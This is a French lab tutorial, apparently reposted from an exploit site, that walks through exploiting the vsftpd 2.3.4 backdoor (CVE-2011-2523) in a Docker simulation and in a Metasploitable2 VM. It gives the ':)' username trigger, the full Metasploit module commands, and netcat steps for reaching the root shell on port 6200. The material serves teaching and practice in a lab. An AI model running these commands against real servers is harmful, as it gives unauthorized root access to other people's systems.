Share
## https://sploitus.com/exploit?id=63A5C9A7-C241-5E83-9EE6-ABAB44BDD270
# TP : Exploitation VSFTPD 2.3.4 Backdoor

## Table des Matières

1. [Contexte de la VulnΓ©rabilitΓ©](#contexte-de-la-vulnΓ©rabilitΓ©)
2. [Comparatif des MΓ©thodes](#comparatif-des-mΓ©thodes)
3. [MΓ©thode 1 : Docker (Simulation)](#mΓ©thode-1--docker-simulation)
4. [MΓ©thode 2 : Metasploitable2 dans UTM](#mΓ©thode-2--metasploitable2-dans-utm)
5. [Comprendre les SubtilitΓ©s macOS](#comprendre-les-subtilitΓ©s-macos)
6. [DΓ©pannage](#dΓ©pannage)
7. [Ressources](#ressources)

---

## Contexte de la VulnΓ©rabilitΓ©

### Qu'est-ce que vsftpd 2.3.4 ?

**vsftpd** (Very Secure FTP Daemon) est un serveur FTP populaire sous Linux. En **juillet 2011**, une version compromise (2.3.4) a Γ©tΓ© distribuΓ©e contenant une **backdoor cachΓ©e** (CVE-2011-2523).

### Comment fonctionne la backdoor ?

```text
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
│                    MÉCANISME DE LA BACKDOOR                 │
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚                                                             β”‚
β”‚  1. L'attaquant se connecte au port FTP (21)               β”‚
β”‚                        ↓                                    β”‚
β”‚  2. Il envoie un USER avec ":)" dans le nom                β”‚
β”‚     Exemple: USER test:)                                    β”‚
β”‚                        ↓                                    β”‚
β”‚  3. Le code malveillant dΓ©tecte le smiley ":)"             β”‚
β”‚                        ↓                                    β”‚
β”‚  4. Un shell root s'ouvre sur le port 6200                 β”‚
β”‚                        ↓                                    β”‚
β”‚  5. L'attaquant se connecte au port 6200 β†’ SHELL ROOT!     β”‚
β”‚                                                             β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
```

### Le trigger `:)`

Le code malveillant recherche la sΓ©quence **`:)`** dans la commande `USER` :

```bash
USER test:)
```

> **Attention Zsh sur macOS** : Utilisez des **quotes simples** si vous tapez manuellement : `'USER test:)'`

---

## Comparatif des MΓ©thodes

| Aspect | Docker (MΓ©thode 1) | Metasploitable2 (MΓ©thode 2) |
|--------|-------------------|----------------------------|
| **AuthenticitΓ©** | Simulation Python | Vrai binaire vulnΓ©rable |
| **ComplexitΓ©** | Plus complexe | Plus simple |
| **Objectif** | Comprendre le mΓ©canisme | Reproduire l'attaque rΓ©elle |
| **PrΓ©requis** | Docker Desktop | UTM + VM Metasploitable2 |

**Recommandation** : La **MΓ©thode 2** est plus rΓ©aliste. La **MΓ©thode 1** est utile si vous n'avez pas de VM.

---

## MΓ©thode 1 : Docker (Simulation)

### PrΓ©requis

- Docker Desktop installΓ© et lancΓ©
- Metasploit Framework (`msfconsole`)
- 3 terminaux macOS

### Architecture

```text
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚                    ARCHITECTURE DOCKER                      β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚  macOS (127.0.0.1)                                          β”‚
β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”‚
β”‚  β”‚ Metasploit β†’ localhost:21                             β”‚ β”‚
β”‚  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β”‚
β”‚            β”‚                                                β”‚
β”‚            ↓                                                β”‚
β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€ Docker Container ───────────────────────┐│
β”‚  β”‚  Port 21 (mappΓ©)         Port 6200 (NON mappΓ©)        β”‚β”‚
β”‚  β”‚       β”‚                         β”‚                      β”‚β”‚
β”‚  β”‚       ↓                         ↓                      β”‚β”‚
β”‚  β”‚  backdoor.py ──────────→ socat (Shell root)           β”‚β”‚
β”‚  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
```

> **Important** : On ne mappe **PAS** le port 6200 au dΓ©marrage, sinon Metasploit dit "Already backdoored" et abandonne.

---

### Γ‰tape 1 : Construire et Lancer le Conteneur

**Terminal 1 :**

```bash
# Se placer dans le dossier du projet
cd /Users/nicolas/Documents/workspace/Securite

# Nettoyer les anciens conteneurs
docker rm -f vsftpd 2>/dev/null

# Construire l'image (--platform pour Mac ARM)
docker build --platform linux/amd64 -t vsftpd:vulnerable .

# Lancer le conteneur SANS mapper le port 6200
docker run --platform linux/amd64 -d --name vsftpd -p 21:21 vsftpd:vulnerable

# VΓ©rifier
docker ps
```

---

### Γ‰tape 2 : Suivre les Logs

**Terminal 2 :**

```bash
docker logs -f vsftpd
```

Vous verrez :

```text
[*] Port 6200 is NOT open at startup - Metasploit will work!
[+] FTP proxy listening on port 21
[*] Waiting for connections...
```

---

### Γ‰tape 3 : Lancer Metasploit et Trigger

**Terminal 3 :**

```bash
msfconsole -q
```

Dans Metasploit :

```bash
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 127.0.0.1
set RPORT 21
set payload cmd/unix/interact
run
```

**RΓ©sultat dans les logs (Terminal 2) :**

```text
[!] TRIGGER DETECTED IN USER COMMAND!
[!] BACKDOOR TRIGGERED!
[+] Backdoor shell ready on port 6200
```

> Metasploit affiche "no session created" β€” c'est **normal** car le port 6200 n'est pas mappΓ© vers macOS.

---

### Γ‰tape 4 : Se Connecter au Shell

**Terminal 1 :**

```bash
docker exec -it vsftpd nc 127.0.0.1 6200
```

Vous Γͺtes maintenant dans le shell root ! VΓ©rifiez :

```bash
id
# uid=0(root) gid=0(root) groups=0(root)

whoami
# root
```

---

### RΓ©sumΓ© des Terminaux

| Terminal | RΓ΄le | Commande |
|----------|------|----------|
| **1** | Lancer le conteneur | `docker run ... -p 21:21 vsftpd:vulnerable` |
| **2** | Voir les logs | `docker logs -f vsftpd` |
| **3** | Trigger via Metasploit | `msfconsole` β†’ `run` |
| **1** | Connexion au shell | `docker exec -it vsftpd nc 127.0.0.1 6200` |

---

### Nettoyage

```bash
docker rm -f vsftpd
docker rmi vsftpd:vulnerable  # Optionnel
```

---

## MΓ©thode 2 : Metasploitable2 dans UTM

### PrΓ©requis

- UTM installΓ© sur macOS
- VM Metasploitable2 importΓ©e
- RΓ©seau en **NAT** ou **Bridged**

### Architecture

```text
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚                 ARCHITECTURE METASPLOITABLE2                β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚  macOS (127.0.0.1)                                          β”‚
β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”‚
β”‚  β”‚ Metasploit β†’ 192.168.128.2:21 ────→ :6200             β”‚ β”‚
β”‚  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β”‚
β”‚                          β”‚                ↑                 β”‚
β”‚                          ↓                β”‚                 β”‚
β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€ UTM (Metasploitable2) ─────────────────────┐│
β”‚  β”‚      vsftpd 2.3.4 (vrai binaire vulnΓ©rable)           β”‚β”‚
β”‚  β”‚      Port 21 β†’ DΓ©tecte ":)" β†’ Ouvre port 6200         β”‚β”‚
β”‚  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
```

---

### Γ‰tape 1 : DΓ©marrer la VM

1. Ouvrez **UTM**
2. SΓ©lectionnez **Metasploitable2**
3. Cliquez sur **DΓ©marrer**
4. Login : `msfadmin` / Password : `msfadmin`

---

### Γ‰tape 2 : RΓ©cupΓ©rer l'IP de la VM

Dans la VM :

```bash
ifconfig eth0
```

Notez l'IP (exemple : `192.168.128.2`)

---

### Γ‰tape 3 : VΓ©rifier la ConnectivitΓ©

Sur macOS :

```bash
# VΓ©rifier que la VM rΓ©pond
ping -c 3 192.168.128.2

# VΓ©rifier le port FTP
nc -zv 192.168.128.2 21
# Attendu : Connection succeeded!

# VΓ©rifier que le port 6200 est fermΓ© (avant l'exploit)
nc -zv 192.168.128.2 6200
# Attendu : Connection refused
```

---

### Γ‰tape 4 : Lancer l'Exploit

```bash
msfconsole -q
```

Dans Metasploit :

```bash
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.168.128.2
set RPORT 21
set payload cmd/unix/interact
run
```

---

### Γ‰tape 5 : RΓ©sultat

```text
[*] 192.168.128.2:21 - Banner: 220 (vsFTPd 2.3.4)
[+] 192.168.128.2:21 - Backdoor service has been spawned, handling...
[*] Found shell.
[*] Command shell session 1 opened
```

**Vous avez un shell root !**

VΓ©rifiez :

```bash
id
# uid=0(root) gid=0(root) groups=0(root)

whoami
# root
```

---

## Comprendre les SubtilitΓ©s macOS

### Pourquoi `--platform linux/amd64` ?

Les Mac Apple Silicon (M1/M2/M3/M4) utilisent **ARM64**. L'image Docker est pour **x86_64**. Cette option active l'Γ©mulation via Rosetta 2.

### Pourquoi le port 6200 ne peut pas Γͺtre mappΓ© ?

1. **Si mappΓ© au dΓ©marrage** : Metasploit voit le port ouvert β†’ "Already backdoored" β†’ Abandon
2. **`--network host` ne fonctionne pas** sur macOS (Docker tourne dans une VM Linux)

**Solution** : Utiliser `docker exec` pour se connecter directement au conteneur.

### Le problème du `!` dans zsh

Zsh interprète `!` comme "history expansion". Solutions :

- Quotes simples : `'test:)'`
- DΓ©sactiver : `setopt NO_BANG_HIST`

---

## DΓ©pannage

### "Port 6200 is already open" (Docker)

```bash
docker rm -f vsftpd
docker run --platform linux/amd64 -d --name vsftpd -p 21:21 vsftpd:vulnerable
```

### "Connection refused" sur port 21

- VΓ©rifiez que la VM/conteneur est dΓ©marrΓ©
- VΓ©rifiez l'IP avec `ifconfig` ou `docker ps`
- Testez avec `nc -zv  21`

### "Exploit completed, but no session created" (Docker)

C'est **normal** ! Utilisez `docker exec -it vsftpd nc 127.0.0.1 6200` pour accΓ©der au shell.

### Pas d'IP sur la VM

```bash
sudo dhclient eth0
# ou
sudo ifconfig eth0 192.168.128.100 netmask 255.255.255.0
```

---

## Ressources

- **CVE** : [CVE-2011-2523](https://nvd.nist.gov/vuln/detail/CVE-2011-2523)
- **Exploit Metasploit** : [vsftpd_234_backdoor](https://www.rapid7.com/db/modules/exploit/unix/ftp/vsftpd_234_backdoor/)
- **Ports utilisΓ©s** : 21 (FTP), 6200 (Backdoor)